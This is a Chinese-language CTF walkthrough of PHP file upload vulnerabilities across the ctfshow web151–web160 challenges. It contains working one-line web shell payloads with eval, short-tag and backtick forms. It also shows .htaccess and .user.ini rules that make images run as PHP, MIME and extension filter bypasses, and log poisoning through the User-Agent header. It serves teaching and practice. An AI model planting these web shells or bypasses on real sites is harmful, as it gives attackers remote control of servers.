一、文件上传漏洞的原理

文件上传漏洞是指用户上传了一个可执行的脚本文件，而且通过这个脚本文件获得了执行服务端命令的能力。

危害：可以成为后门文件webshell，直接获得网站权限。

一句话木马

<?php @eval($\_POST['wuya']);?>

在php.net网站上查找相关的命令内容

eval（）函数表示括号内的语句字符串什么的全都当做代码php执行。

$\_POST['wuya']表示从页面中获得wuya这个参数值。

#如果system中有空格需要用双引号

wuya=system("tree c:\\");

#等价于

http://localhost/upload/uploads/shell.php?wuya=system(ipconfig)

#可以进行蚁剑连接，密码是wuya

二、文件上传常见验证

1、后缀名:黑名单,白名单

等价扩展名

2、文件类型:MIME

web151

说明可以修改前端代码

1、发现上传按钮只能上传png格式文件

2、更改前端代码，使其支持php格式，上传一句话木马

3、蚁剑连接，得到flag

web152

1、按照前一题的解法发现并不可行

2、利用burp进行查看，发现此时的content-type并不是图片格式，对此进行修改，image/png

3、改完后同上题

web153

1、按照前两题的方法，直接上传php文件显示文件类型不合规；修改content-type上传不成功；上传php3后缀服务器不能解析

2、看一下upload文件下有index.php，说明可以通过.user.ini文件来上传。因为.user.ini只对他同一目录下的php文件起作用

【.htaccess和.user.ini配置文件妙用】

具体参考.htaccess 和.user.ini 配置文件妙用

.htaccess

#将jpg文件当做php文件解析

// .htaccess

AddType application/x-httpd-php .jpg

// 1.jpg

<?php phpinfo();?>

.user.ini

auto\_prepend\_file=<filename> //包含在文件头

auto\_append\_file=<filename> //包含在文件尾

#在当前目录下的.php文件包含1.jpg这个图片,

在此处相当于在11.php文件头插入了require('1.jpg')这条语句

// .user.ini

auto\_prepend\_file = 1.jpg

// 1.jpg

<?php phpinfo();?>

// 11.php

3、因为要上传文件，所以前端要改一下

4、上传1.png的一句话木马

5、在burp中改两个地方，最后user.ini成功上传

6、蚁剑连接，找到flag

web154

1、几经尝试，发现php不能通过，phP可以通过，说明过滤掉了php

2、用php短标签

<?=@eval($\_POST['s']);?>

web155

同上题方法

web156

1、如果上传说类型不合规，可以在repeater中把文件中的内容进行删除，看那一块不合规

2、发现是方括号的原因，用花括号代替

其他同上题

web157~web159

过滤了php，system，{}，和分号，直接执行命令

<?=`tac ../fl\*`?> //等价于<?= system('cat ../fl\*')?>

//(tac：cat反序，反引号英文大写``)

web160

此题在上面的基础上过滤了反引号，还可以用日志包含。

/var/log/nginx/ 目录是 NGINX 的默认日志位置，可以从中找到一个 access.log 文件和 error.log 文件，include函数包含日志查看日志内容。考虑到过滤log，利用了php的字符串连接性。

<?=include"/var/l"."og/nginx/access.lo"."g"?>

1、上传

2、上传user.ini

3、发现日志中的内容是user-agent的内容

4、将一句话木马写到user-agent中